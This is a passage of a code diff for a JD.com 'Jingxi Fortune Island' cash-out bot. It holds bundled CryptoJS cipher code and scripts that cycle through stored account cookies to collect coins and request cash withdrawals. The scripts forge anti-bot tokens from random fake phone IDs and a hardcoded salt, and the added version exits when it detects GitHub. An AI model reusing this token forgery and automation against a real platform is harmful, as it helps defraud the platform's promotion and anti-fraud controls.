256: 8192, 512: 270532608, 768: 270540808, 1024: 268443648, 1280: 2097152, 1536: 2097160, 1792: 268435456, 2048: 0, 2304: 268443656, 2560: 2105344, 2816: 8, 3072: 270532616, 3328: 2105352, 3584: 8200, 3840: 270540800, 128: 270532608, 384: 270540808, 640: 8, 896: 2097152, 1152: 2105352, 1408: 268435464, 1664: 268443648, 1920: 8200, 2176: 2097160, 2432: 8192, 2688: 268443656, 2944: 270532616, 3200: 0, 3456: 270540800, 3712: 2105344, 3968: 268435456, 4096: 268443648, 4352: 270532616, 4608: 270540808, 4864: 8200, 5120: 2097152, 5376: 268435456, 5632: 268435464, 5888: 2105344, 6144: 2105352, 6400: 0, 6656: 8, 6912: 270532608, 7168: 8192, 7424: 268443656, 7680: 270540800, 7936: 2097160, 4224: 8, 4480: 2105344, 4736: 2097152, 4992: 268435464, 5248: 268443648, 5504: 8200, 5760: 270540808, 6016: 270532608, 6272: 270540800, 6528: 270532616, 6784: 8192, 7040: 2105352, 7296: 2097160, 7552: 0, 7808: 268435456, 8064: 268443656 }, { 0: 1048576, 16: 33555457, 32: 1024, 48: 1049601, 64: 34604033, 80: 0, 96: 1, 112: 34603009, 128: 33555456, 144: 1048577, 160: 33554433, 176: 34604032, 192: 34603008, 208: 1025, 224: 1049600, 240: 33554432, 8: 34603009, 24: 0, 40: 33555457, 56: 34604032, 72: 1048576, 88: 33554433, 104: 33554432, 120: 1025, 136: 1049601, 152: 33555456, 168: 34603008, 184: 1048577, 200: 1024, 216: 34604033, 232: 1, 248: 1049600, 256: 33554432, 272: 1048576, 288: 33555457, 304: 34603009, 320: 1048577, 336: 33555456, 352: 34604032, 368: 1049601, 384: 1025, 400: 34604033, 416: 1049600, 432: 1, 448: 0, 464: 34603008, 480: 33554433, 496: 1024, 264: 1049600, 280: 33555457, 296: 34603009, 312: 1, 328: 33554432, 344: 1048576, 360: 1025, 376: 34604032, 392: 33554433, 408: 34603008, 424: 0, 440: 34604033, 456: 1049601, 472: 1024, 488: 33555456, 504: 1048577 }, { 0: 134219808, 1: 131072, 2: 134217728, 3: 32, 4: 131104, 5: 134350880, 6: 134350848, 7: 2048, 8: 134348800, 9: 134219776, 10: 133120, 11: 134348832, 12: 2080, 13: 0, 14: 134217760, 15: 133152, 2147483648: 2048, 2147483649: 134350880, 2147483650: 134219808, 2147483651: 134217728, 2147483652: 134348800, 2147483653: 133120, 2147483654: 133152, 2147483655: 32, 2147483656: 134217760, 2147483657: 2080, 2147483658: 131104, 2147483659: 134350848, 2147483660: 0, 2147483661: 134348832, 2147483662: 134219776, 2147483663: 131072, 16: 133152, 17: 134350848, 18: 32, 19: 2048, 20: 134219776, 21: 134217760, 22: 134348832, 23: 131072, 24: 0, 25: 131104, 26: 134348800, 27: 134219808, 28: 134350880, 29: 133120, 30: 2080, 31: 134217728, 2147483664: 131072, 2147483665: 2048, 2147483666: 134348832, 2147483667: 133152, 2147483668: 32, 2147483669: 134348800, 2147483670: 134217728, 2147483671: 134219808, 2147483672: 134350880, 2147483673: 134217760, 2147483674: 134219776, 2147483675: 0, 2147483676: 133120, 2147483677: 2080, 2147483678: 131104, 2147483679: 134350848 }], u = [4160749569, 528482304, 33030144, 2064384, 129024, 8064, 504, 2147483679], d = a.DES = s.extend({ _doReset: function () { for (var t = this._key, r = t.words, e = [], i = 0; i < 56; i++) { var n = c[i] - 1; e[i] = r[n >>> 5] >>> 31 - n % 32 & 1 } for (var o = this._subKeys = [], s = 0; s < 16; s++) { for (var a = o[s] = [], f = l[s], i = 0; i < 24; i++)a[i / 6 | 0] |= e[(h[i] - 1 + f) % 28] << 31 - i % 6, a[4 + (i / 6 | 0)] |= e[28 + (h[i + 24] - 1 + f) % 28] << 31 - i % 6; a[0] = a[0] << 1 | a[0] >>> 31; for (var i = 1; i < 7; i++)a[i] = a[i] >>> 4 * (i - 1) + 3; a[7] = a[7] << 5 | a[7] >>> 27 } for (var u = this._invSubKeys = [], i = 0; i < 16; i++)u[i] = o[15 - i] }, encryptBlock: function (t, r) { this._doCryptBlock(t, r, this._subKeys) }, decryptBlock: function (t, r) { this._doCryptBlock(t, r, this._invSubKeys) }, _doCryptBlock: function (t, i, n) { this._lBlock = t[i], this._rBlock = t[i + 1], r.call(this, 4, 252645135), r.call(this, 16, 65535), e.call(this, 2, 858993459), e.call(this, 8, 16711935), r.call(this, 1, 1431655765); for (var o = 0; o < 16; o++) { for (var s = n[o], a = this._lBlock, c = this._rBlock, h = 0, l = 0; l < 8; l++)h |= f[l][((c ^ s[l]) & u[l]) >>> 0]; this._lBlock = c, this._rBlock = a ^ h } var d = this._lBlock; this._lBlock = this._rBlock, this._rBlock = d, r.call(this, 1, 1431655765), e.call(this, 8, 16711935), e.call(this, 2, 858993459), r.call(this, 16, 65535), r.call(this, 4, 252645135), t[i] = this._lBlock, t[i + 1] = this._rBlock }, keySize: 2, ivSize: 2, blockSize: 2 }); i.DES = s._createHelper(d); var v = a.TripleDES = s.extend({ _doReset: function () { var t = this._key, r = t.words; this._des1 = d.createEncryptor(o.create(r.slice(0, 2))), this._des2 = d.createEncryptor(o.create(r.slice(2, 4))), this._des3 = d.createEncryptor(o.create(r.slice(4, 6))) }, encryptBlock: function (t, r) { this._des1.encryptBlock(t, r), this._des2.decryptBlock(t, r), this._des3.encryptBlock(t, r) }, decryptBlock: function (t, r) { this._des3.decryptBlock(t, r), this._des2.encryptBlock(t, r), this._des1.decryptBlock(t, r) }, keySize: 6, ivSize: 2, blockSize: 2 }); i.TripleDES = s._createHelper(v) + }(), function () { function r() { for (var t = this._S, r = this._i, e = this._j, i = 0, n = 0; n < 4; n++) { r = (r + 1) % 256, e = (e + t[r]) % 256; var o = t[r]; t[r] = t[e], t[e] = o, i |= t[(t[r] + t[e]) % 256] << 24 - 8 * n } return this._i = r, this._j = e, i } var e = t, i = e.lib, n = i.StreamCipher, o = e.algo, s = o.RC4 = n.extend({ _doReset: function () { for (var t = this._key, r = t.words, e = t.sigBytes, i = this._S = [], n = 0; n < 256; n++)i[n] = n; for (var n = 0, o = 0; n < 256; n++) { var s = n % e, a = r[s >>> 2] >>> 24 - s % 4 * 8 & 255; o = (o + i[n] + a) % 256; var c = i[n]; i[n] = i[o], i[o] = c } this._i = this._j = 0 }, _doProcessBlock: function (t, e) { t[e] ^= r.call(this) }, keySize: 8, ivSize: 0 }); e.RC4 = n._createHelper(s); var a = o.RC4Drop = s.extend({ cfg: s.cfg.extend({ drop: 192 }), _doReset: function () { s._doReset.call(this); for (var t = this.cfg.drop; t > 0; t--)r.call(this) } }); e.RC4Drop = n._createHelper(a) }(), t.mode.CTRGladman = function () { function r(t) { if (255 === (t >> 24 & 255)) { var r = t >> 16 & 255, e = t >> 8 & 255, i = 255 & t; 255 === r ? (r = 0, 255 === e ? (e = 0, 255 === i ? i = 0 : ++i) : ++e) : ++r, t = 0, t += r << 16, t += e << 8, t += i } else t += 1 << 24; return t } function e(t) { return 0 === (t[0] = r(t[0])) && (t[1] = r(t[1])), t } var i = t.lib.BlockCipherMode.extend(), n = i.Encryptor = i.extend({ processBlock: function (t, r) { var i = this._cipher, n = i.blockSize, o = this._iv, s = this._counter; o && (s = this._counter = o.slice(0), this._iv = void 0), e(s); var a = s.slice(0); i.encryptBlock(a, 0); for (var c = 0; c < n; c++)t[r + c] ^= a[c] } }); return i.Decryptor = n, i }(), function () { function r() { for (var t = this._X, r = this._C, e = 0; e < 8; e++)a[e] = r[e]; r[0] = r[0] + 1295307597 + this._b | 0, r[1] = r[1] + 3545052371 + (r[0] >>> 0 < a[0] >>> 0 ? 1 : 0) | 0, r[2] = r[2] + 886263092 + (r[1] >>> 0 < a[1] >>> 0 ? 1 : 0) | 0, r[3] = r[3] + 1295307597 + (r[2] >>> 0 < a[2] >>> 0 ? 1 : 0) | 0, r[4] = r[4] + 3545052371 + (r[3] >>> 0 < a[3] >>> 0 ? 1 : 0) | 0, r[5] = r[5] + 886263092 + (r[4] >>> 0 < a[4] >>> 0 ? 1 : 0) | 0, r[6] = r[6] + 1295307597 + (r[5] >>> 0 < a[5] >>> 0 ? 1 : 0) | 0, r[7] = r[7] + 3545052371 + (r[6] >>> 0 < a[6] >>> 0 ? 1 : 0) | 0, this._b = r[7] >>> 0 < a[7] >>> 0 ? 1 : 0; for (var e = 0; e < 8; e++) { var i = t[e] + r[e], n = 65535 & i, o = i >>> 16, s = ((n * n >>> 17) + n * o >>> 15) + o * o, h = ((4294901760 & i) * i | 0) + ((65535 & i) * i | 0); c[e] = s ^ h } t[0] = c[0] + (c[7] << 16 | c[7] >>> 16) + (c[6] << 16 | c[6] >>> 16) | 0, t[1] = c[1] + (c[0] << 8 | c[0] >>> 24) + c[7] | 0, t[2] = c[2] + (c[1] << 16 | c[1] >>> 16) + (c[0] << 16 | c[0] >>> 16) | 0, t[3] = c[3] + (c[2] << 8 | c[2] >>> 24) + c[1] | 0, t[4] = c[4] + (c[3] << 16 | c[3] >>> 16) + (c[2] << 16 | c[2] >>> 16) | 0, t[5] = c[5] + (c[4] << 8 | c[4] >>> 24) + c[3] | 0, t[6] = c[6] + (c[5] << 16 | c[5] >>> 16) + (c[4] << 16 | c[4] >>> 16) | 0, t[7] = c[7] + (c[6] << 8 | c[6] >>> 24) + c[5] | 0 } var e = t, i = e.lib, n = i.StreamCipher, o = e.algo, s = [], a = [], c = [], h = o.Rabbit = n.extend({ _doReset: function () { for (var t = this._key.words, e = this.cfg.iv, i = 0; i < 4; i++)t[i] = 16711935 & (t[i] << 8 | t[i] >>> 24) | 4278255360 & (t[i] << 24 | t[i] >>> 8); var n = this._X = [t[0], t[3] << 16 | t[2] >>> 16, t[1], t[0] << 16 | t[3] >>> 16, t[2], t[1] << 16 | t[0] >>> 16, t[3], t[2] << 16 | t[1] >>> 16], o = this._C = [t[2] << 16 | t[2] >>> 16, 4294901760 & t[0] | 65535 & t[1], t[3] << 16 | t[3] >>> 16, 4294901760 & t[1] | 65535 & t[2], t[0] << 16 | t[0] >>> 16, 4294901760 & t[2] | 65535 & t[3], t[1] << 16 | t[1] >>> 16, 4294901760 & t[3] | 65535 & t[0]]; this._b = 0; for (var i = 0; i < 4; i++)r.call(this); for (var i = 0; i < 8; i++)o[i] ^= n[i + 4 & 7]; if (e) { var s = e.words, a = s[0], c = s[1], h = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8), l = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8), f = h >>> 16 | 4294901760 & l, u = l << 16 | 65535 & h; o[0] ^= h, o[1] ^= f, o[2] ^= l, o[3] ^= u, o[4] ^= h, o[5] ^= f, o[6] ^= l, o[7] ^= u; for (var i = 0; i < 4; i++)r.call(this) } }, _doProcessBlock: function (t, e) { var i = this._X; r.call(this), s[0] = i[0] ^ i[5] >>> 16 ^ i[3] << 16, s[1] = i[2] ^ i[7] >>> 16 ^ i[5] << 16, s[2] = i[4] ^ i[1] >>> 16 ^ i[7] << 16, s[3] = i[6] ^ i[3] >>> 16 ^ i[1] << 16; for (var n = 0; n < 4; n++)s[n] = 16711935 & (s[n] << 8 | s[n] >>> 24) | 4278255360 & (s[n] << 24 | s[n] >>> 8), t[e + n] ^= s[n] }, blockSize: 4, ivSize: 2 }); e.Rabbit = n._createHelper(h) }(), t.mode.CTR = function () { var r = t.lib.BlockCipherMode.extend(), e = r.Encryptor = r.extend({ processBlock: function (t, r) { var e = this._cipher, i = e.blockSize, n = this._iv, o = this._counter; n && (o = this._counter = n.slice(0), this._iv = void 0); var s = o.slice(0); e.encryptBlock(s, 0), o[i - 1] = o[i - 1] + 1 | 0; for (var a = 0; a < i; a++)t[r + a] ^= s[a] } }); return r.Decryptor = e, r }(), function () { function r() { for (var t = this._X, r = this._C, e = 0; e < 8; e++)a[e] = r[e]; r[0] = r[0] + 1295307597 + this._b | 0, r[1] = r[1] + 3545052371 + (r[0] >>> 0 < a[0] >>> 0 ? 1 : 0) | 0, r[2] = r[2] + 886263092 + (r[1] >>> 0 < a[1] >>> 0 ? 1 : 0) | 0, r[3] = r[3] + 1295307597 + (r[2] >>> 0 < a[2] >>> 0 ? 1 : 0) | 0, r[4] = r[4] + 3545052371 + (r[3] >>> 0 < a[3] >>> 0 ? 1 : 0) | 0, r[5] = r[5] + 886263092 + (r[4] >>> 0 < a[4] >>> 0 ? 1 : 0) | 0, r[6] = r[6] + 1295307597 + (r[5] >>> 0 < a[5] >>> 0 ? 1 : 0) | 0, r[7] = r[7] + 3545052371 + (r[6] >>> 0 < a[6] >>> 0 ? 1 : 0) | 0, this._b = r[7] >>> 0 < a[7] >>> 0 ? 1 : 0; for (var e = 0; e < 8; e++) { var i = t[e] + r[e], n = 65535 & i, o = i >>> 16, s = ((n * n >>> 17) + n * o >>> 15) + o * o, h = ((4294901760 & i) * i | 0) + ((65535 & i) * i | 0); c[e] = s ^ h } t[0] = c[0] + (c[7] << 16 | c[7] >>> 16) + (c[6] << 16 | c[6] >>> 16) | 0, t[1] = c[1] + (c[0] << 8 | c[0] >>> 24) + c[7] | 0, t[2] = c[2] + (c[1] << 16 | c[1] >>> 16) + (c[0] << 16 | c[0] >>> 16) | 0, t[3] = c[3] + (c[2] << 8 | c[2] >>> 24) + c[1] | 0, t[4] = c[4] + (c[3] << 16 | c[3] >>> 16) + (c[2] << 16 | c[2] >>> 16) | 0, t[5] = c[5] + (c[4] << 8 | c[4] >>> 24) + c[3] | 0, t[6] = c[6] + (c[5] << 16 | c[5] >>> 16) + (c[4] << 16 | c[4] >>> 16) | 0, t[7] = c[7] + (c[6] << 8 | c[6] >>> 24) + c[5] | 0 } var e = t, i = e.lib, n = i.StreamCipher, o = e.algo, s = [], a = [], c = [], h = o.RabbitLegacy = n.extend({ _doReset: function () { var t = this._key.words, e = this.cfg.iv, i = this._X = [t[0], t[3] << 16 | t[2] >>> 16, t[1], t[0] << 16 | t[3] >>> 16, t[2], t[1] << 16 | t[0] >>> 16, t[3], t[2] << 16 | t[1] >>> 16], n = this._C = [t[2] << 16 | t[2] >>> 16, 4294901760 & t[0] | 65535 & t[1], t[3] << 16 | t[3] >>> 16, 4294901760 & t[1] | 65535 & t[2], t[0] << 16 | t[0] >>> 16, 4294901760 & t[2] | 65535 & t[3], t[1] << 16 | t[1] >>> 16, 4294901760 & t[3] | 65535 & t[0]]; this._b = 0; for (var o = 0; o < 4; o++)r.call(this); for (var o = 0; o < 8; o++)n[o] ^= i[o + 4 & 7]; if (e) { var s = e.words, a = s[0], c = s[1], h = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8), l = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8), f = h >>> 16 | 4294901760 & l, u = l << 16 | 65535 & h; n[0] ^= h, n[1] ^= f, n[2] ^= l, n[3] ^= u, n[4] ^= h, n[5] ^= f, n[6] ^= l, n[7] ^= u; for (var o = 0; o < 4; o++)r.call(this) } }, _doProcessBlock: function (t, e) { var i = this._X; r.call(this), s[0] = i[0] ^ i[5] >>> 16 ^ i[3] << 16, s[1] = i[2] ^ i[7] >>> 16 ^ i[5] << 16, s[2] = i[4] ^ i[1] >>> 16 ^ i[7] << 16, s[3] = i[6] ^ i[3] >>> 16 ^ i[1] << 16; for (var n = 0; n < 4; n++)s[n] = 16711935 & (s[n] << 8 | s[n] >>> 24) | 4278255360 & (s[n] << 24 | s[n] >>> 8), t[e + n] ^= s[n] }, blockSize: 4, ivSize: 2 }); e.RabbitLegacy = n._createHelper(h) }(), t.pad.ZeroPadding = { pad: function (t, r) { var e = 4 * r; t.clamp(), t.sigBytes += e - (t.sigBytes % e || e) }, unpad: function (t) { for (var r = t.words, e = t.sigBytes - 1; !(r[e >>> 2] >>> 24 - e % 4 * 8 & 255);)e--; t.sigBytes = e + 1 } }, t + }); + const $ = new Env("京喜财富岛提现"); + const JD_API_HOST = "https://m.jingxi.com/"; + const notify = $.isNode() ? require('./sendNotify') : ''; + const jdCookieNode = $.isNode() ? require("./jdCookie.js") : ""; + $.showLog = $.getdata("cfd_showLog") ? $.getdata("cfd_showLog") === "true" : false; + $.notifyTime = $.getdata("cfd_notifyTime"); + $.result = []; + $.shareCodes = []; + let cookiesArr = [], cookie = '', token, nowTimes; + let allMessage = '', message = '' + + if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; + if (JSON.stringify(process.env).indexOf('GITHUB') > -1) process.exit(0); + } else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); + } + $.appId = 10028; + Date.prototype.Format = function (fmt) { //author: meizz + var o = { + "M+": this.getMonth() + 1, //月份 + "d+": this.getDate(), //日 + "h+": this.getHours(), //小时 + "m+": this.getMinutes(), //分 + "s+": this.getSeconds(), //秒 + "S": this.getMilliseconds() //毫秒 + }; + if (/(y+)/.test(fmt)) fmt = fmt.replace(RegExp.$1, (this.getFullYear() + "").substr(4 - RegExp.$1.length)); + for (var k in o) + if (new RegExp("(" + k + ")").test(fmt)) fmt = fmt.replace(RegExp.$1, (RegExp.$1.length == 1) ? (o[k]) : (("00" + o[k]).substr(("" + o[k]).length))); + return fmt; + } + !(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + $.CryptoJS = $.isNode() ? require('crypto-js') : CryptoJS; + await requestAlgo(); + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + $.index = i + 1; + $.nickName = ''; + $.isLogin = true; + message = '' + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + $.num = i + $.info = {} + $.money = 0 + token = await getJxToken() + await cfd(); + } + } + if (allMessage) { + if ($.isNode()) await notify.sendNotify(`${$.name}`, `${allMessage}`); + } + })() + .catch((e) => $.logErr(e)) + .finally(() => $.done()); + + async function cfd() { + try { + nowTimes = new Date(new Date().getTime() + new Date().getTimezoneOffset() * 60 * 1000 + 8 * 60 * 60 * 1000) + if ((nowTimes.getHours() === 11 || nowTimes.getHours() === 23) && nowTimes.getMinutes() === 59) { + let nowtime = new Date().Format("s.S") + let starttime = $.isNode() ? (process.env.CFD_STARTTIME ? process.env.CFD_STARTTIME * 1 : 59.5) : ($.getdata('CFD_STARTTIME') ? $.getdata('CFD_STARTTIME') * 1 : 59.5); + if(nowtime < 59) { + let sleeptime = (starttime - nowtime) * 1000; + console.log(`等待时间 ${sleeptime / 1000}\n`); + await sleep(sleeptime) + } + } + + if ($.num % 2 !== 0) { + console.log(`等待`) + await $.wait(2000) + } + + const beginInfo = await getUserInfo() + if (beginInfo.Fund.ddwFundTargTm === 0) { + console.log(`还未开通活动,请先开通\n`) + return + } + + console.log(`获取提现资格`) + await cashOutQuali() + + await showMsg() + } catch (e) { + $.logErr(e) + } + } + + // 提现 + async function cashOutQuali() { + return new Promise(async (resolve) => { + $.get(taskUrl(`user/CashOutQuali`, `strPgUUNum=${token['farm_jstoken']}&strPgtimestamp=${token['timestamp']}&strPhoneID=${token['phoneid']}`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} CashOutQuali API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data) + if (data.iRet === 0 || data.iRet === 2034) { + console.log(`获取提现资格:${data.sErrMsg}\n`) + console.log(`提现\n提现金额:按库存轮询提现,0点场提1元以上,12点场提0.5元以上,12点后不做限制\n`) + await userCashOutState() + } else { + console.log(`获取提现资格失败:${data.sErrMsg}\n`) } - op = body.call(thisArg, _); - } catch (e) { op = [6, e]; y = 0; } finally { f = t = 0; } - if (op[0] & 5) throw op[1]; return { value: op[0] ? op[1] : void 0, done: true }; - } -}; -exports.__esModule = true; -var date_fns_1 = require("date-fns"); -var axios_1 = require("axios"); -var ts_md5_1 = require("ts-md5"); -var TS_USER_AGENTS_1 = require("./TS_USER_AGENTS"); -var dotenv = require("dotenv"); -var CryptoJS = require('crypto-js'); -var notify = require('./sendNotify'); -dotenv.config(); -var appId = 10028, fingerprint, token = '', enCryptMethodJD; -var cookie = '', res = '', UserName, index; -var money = process.env.CFD_CASHOUT_MONEY ? parseFloat(process.env.CFD_CASHOUT_MONEY) * 100 : 10; -!(function () { return __awaiter(void 0, void 0, void 0, function () { - var cookiesArr, i, _a, isLogin, nickName, finish, _i, _b, b, j, _c, _d, b, strDT, strMyShareId, _e, _f, e, employ, tasks, _g, _h, t, token_1; - return __generator(this, function (_j) { - switch (_j.label) { - case 0: return [4 /*yield*/, requestAlgo()]; - case 1: - _j.sent(); - return [4 /*yield*/, TS_USER_AGENTS_1.requireConfig()]; - case 2: - cookiesArr = _j.sent(); - i = 0; - _j.label = 3; - case 3: - if (!(i < cookiesArr.length)) return [3 /*break*/, 44]; - cookie = cookiesArr[i]; - UserName = decodeURIComponent(cookie.match(/pt_pin=([^;]*)/)[1]); - index = i + 1; - return [4 /*yield*/, TS_USER_AGENTS_1.TotalBean(cookie)]; - case 4: - _a = _j.sent(), isLogin = _a.isLogin, nickName = _a.nickName; - if (!isLogin) { - notify.sendNotify(__filename.split('/').pop(), "cookie\u5DF2\u5931\u6548\n\u4EAC\u4E1C\u8D26\u53F7" + index + "\uFF1A" + (nickName || UserName)); - return [3 /*break*/, 43]; - } - console.log("\n\u5F00\u59CB\u3010\u4EAC\u4E1C\u8D26\u53F7" + index + "\u3011" + (nickName || UserName) + "\n"); - finish = false; - _i = 0, _b = ['food', 'fun', 'shop', 'sea']; - _j.label = 5; - case 5: - if (!(_i < _b.length)) return [3 /*break*/, 9]; - b = _b[_i]; - return [4 /*yield*/, api('user/GetBuildInfo', '_cfd_t,bizCode,dwEnv,dwType,ptag,source,strBuildIndex,strZone', { strBuildIndex: b })]; - case 6: - res = _j.sent(); - if (!(res.dwCanLvlUp === 1)) return [3 /*break*/, 8]; - return [4 /*yield*/, api('user/BuildLvlUp', '_cfd_t,bizCode,ddwCostCoin,dwEnv,ptag,source,strBuildIndex,strZone', { ddwCostCoin: res.ddwNextLvlCostCoin, strBuildIndex: b })]; - case 7: - res = _j.sent(); - if (res.iRet === 0) { - console.log("\u5347\u7EA7\u6210\u529F:", res); // ddwSendRichValue - finish = true; - return [3 /*break*/, 9]; - } - _j.label = 8; - case 8: - _i++; - return [3 /*break*/, 5]; - case 9: - if (!!finish) return [3 /*break*/, 38]; - j = 0; - _j.label = 10; - case 10: - if (!(j < 2)) return [3 /*break*/, 16]; - _c = 0, _d = ['food', 'fun', 'shop', 'sea']; - _j.label = 11; - case 11: - if (!(_c < _d.length)) return [3 /*break*/, 15]; - b = _d[_c]; - return [4 /*yield*/, api('user/CollectCoin', '_cfd_t,bizCode,dwEnv,dwType,ptag,source,strBuildIndex,strZone', { strBuildIndex: b, dwType: '1' })]; - case 12: - res = _j.sent(); - console.log(b + "\u6536\u91D1\u5E01:", res.ddwCoin); - return [4 /*yield*/, TS_USER_AGENTS_1.wait(500)]; - case 13: - _j.sent(); - _j.label = 14; - case 14: - _c++; - return [3 /*break*/, 11]; - case 15: - j++; - return [3 /*break*/, 10]; - case 16: - if (!1) return [3 /*break*/, 19]; - return [4 /*yield*/, speedUp('_cfd_t,bizCode,dwEnv,ptag,source,strBuildIndex,strZone')]; - case 17: - res = _j.sent(); - console.log('今日热气球:', res.dwTodaySpeedPeople); - if (res.dwTodaySpeedPeople >= 20) - return [3 /*break*/, 19]; - return [4 /*yield*/, TS_USER_AGENTS_1.wait(300)]; - case 18: - _j.sent(); - return [3 /*break*/, 16]; - case 19: return [4 /*yield*/, api('user/ComposeGameState', '', { dwFirst: 1 })]; - case 20: - res = _j.sent(); - strDT = res.strDT, strMyShareId = res.strMyShareId; - return [4 /*yield*/, api('user/RealTmReport', '', { dwIdentityType: 0, strBussKey: 'composegame', strMyShareId: strMyShareId, ddwCount: 5 })]; - case 21: - res = _j.sent(); - return [4 /*yield*/, TS_USER_AGENTS_1.wait(1000)]; - case 22: - _j.sent(); - return [4 /*yield*/, api('user/ComposeGameAddProcess', '__t,strBT,strZone', { __t: Date.now(), strBT: strDT })]; - case 23: - res = _j.sent(); - return [4 /*yield*/, api('user/EmployTourGuideInfo', '_cfd_t,bizCode,dwEnv,ptag,source,strZone')]; - case 24: - res = _j.sent(); - if (!!res.TourGuideList) return [3 /*break*/, 25]; - console.log('手动雇佣4个试用导游'); - return [3 /*break*/, 30]; - case 25: - _e = 0, _f = res.TourGuideList; - _j.label = 26; - case 26: - if (!(_e < _f.length)) return [3 /*break*/, 30]; - e = _f[_e]; - if (!(e.strBuildIndex !== 'food' && e.ddwRemainTm === 0)) return [3 /*break*/, 29]; - return [4 /*yield*/, api('user/EmployTourGuide', '_cfd_t,bizCode,ddwConsumeCoin,dwEnv,dwIsFree,ptag,source,strBuildIndex,strZone', { ddwConsumeCoin: e.ddwCostCoin, dwIsFree: 0, strBuildIndex: e.strBuildIndex })]; - case 27: - employ = _j.sent(); - if (employ.iRet === 0) - console.log("\u96C7\u4F63" + e.strBuildIndex + "\u5BFC\u6E38\u6210\u529F"); - return [4 /*yield*/, TS_USER_AGENTS_1.wait(300)]; - case 28: - _j.sent(); - _j.label = 29; - case 29: - _e++; - return [3 /*break*/, 26]; - case 30: - tasks = void 0; - return [4 /*yield*/, api('story/GetActTask', '_cfd_t,bizCode,dwEnv,ptag,source,strZone')]; - case 31: - tasks = _j.sent(); - _g = 0, _h = tasks.Data.TaskList; - _j.label = 32; - case 32: - if (!(_g < _h.length)) return [3 /*break*/, 36]; - t = _h[_g]; - if (!(t.dwCompleteNum === t.dwTargetNum && t.dwAwardStatus === 2)) return [3 /*break*/, 35]; - return [4 /*yield*/, api('Award', '_cfd_t,bizCode,dwEnv,ptag,source,strZone,taskId', { taskId: t.ddwTaskId })]; - case 33: - res = _j.sent(); - if (res.ret === 0) { - console.log(t.strTaskName + "\u9886\u5956\u6210\u529F:", res.data.prizeInfo); - } - return [4 /*yield*/, TS_USER_AGENTS_1.wait(300)]; - case 34: - _j.sent(); - _j.label = 35; - case 35: - _g++; - return [3 /*break*/, 32]; - case 36: return [4 /*yield*/, api('story/ActTaskAward', '_cfd_t,bizCode,dwEnv,ptag,source,strZone')]; - case 37: - res = _j.sent(); - console.log('100财富任务完成:', res); - _j.label = 38; - case 38: - // 提现 - console.log('开始提现:', date_fns_1.format(new Date(), 'hh:mm:ss:SSS')); - return [4 /*yield*/, getJxToken(cookie)]; - case 39: - token_1 = _j.sent(); - console.log(token_1); - return [4 /*yield*/, api('user/CashOutQuali', '_cfd_t,bizCode,dwEnv,ptag,source,strPgUUNum,strPgtimestamp,strPhoneID,strZone', { strPgUUNum: token_1.strPgUUNum, strPgtimestamp: token_1.strPgtimestamp, strPhoneID: token_1.strPhoneID })]; - case 40: - res = _j.sent(); - console.log('资格:', res); - return [4 /*yield*/, TS_USER_AGENTS_1.wait(2000)]; - case 41: - _j.sent(); - return [4 /*yield*/, api('user/CashOut', '_cfd_t,bizCode,ddwMoney,ddwPaperMoney,dwEnv,ptag,source,strPgUUNum,strPgtimestamp,strPhoneID,strZone', { ddwMoney: money, ddwPaperMoney: money * 10, strPgUUNum: token_1.strPgUUNum, strPgtimestamp: token_1.strPgtimestamp, strPhoneID: token_1.strPhoneID })]; - case 42: - res = _j.sent(); - console.log('提现:', res); - _j.label = 43; - case 43: - i++; - return [3 /*break*/, 3]; - case 44: return [2 /*return*/]; + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); } - }); -}); })(); -function getJxToken(cookie) { - function generateStr(input) { - var src = 'abcdefghijklmnopqrstuvwxyz1234567890'; - var res = ''; - for (var i = 0; i < input; i++) { - res += src[Math.floor(src.length * Math.random())]; - } - return res; - } - return new Promise(function (resolve) { - var phoneId = generateStr(40); - var timestamp = Date.now().toString(); - if (!cookie['match'](/pt_pin=([^; ]+)(?=;?)/)) { - console.log('此账号cookie填写不规范,你的pt_pin=xxx后面没分号(;)\n'); - resolve({}); - } - var nickname = cookie.match(/pt_pin=([^;]*)/)[1]; - var jstoken = ts_md5_1.Md5.hashStr('' + decodeURIComponent(nickname) + timestamp + phoneId + 'tPOamqCuk9NLgVPAljUyIHcPRmKlVxDy'); - resolve({ - 'strPgtimestamp': timestamp, - 'strPhoneID': phoneId, - 'strPgUUNum': jstoken - }); - }); -} -function api(fn, stk, params) { - var _this = this; - if (params === void 0) { params = {}; } - return new Promise(function (resolve) { return __awaiter(_this, void 0, void 0, function () { - var url, key, data; - return __generator(this, function (_a) { - switch (_a.label) { - case 0: - url = "https://m.jingxi.com/jxbfd/" + fn + "?strZone=jxbfd&bizCode=jxbfd&source=jxbfd&dwEnv=7&_cfd_t=" + Date.now() + "&ptag=138631.26.55&_ste=1&_=" + Date.now() + "&sceneval=2&_stk=" + encodeURIComponent(stk); - if (['GetUserTaskStatusList', 'Award', 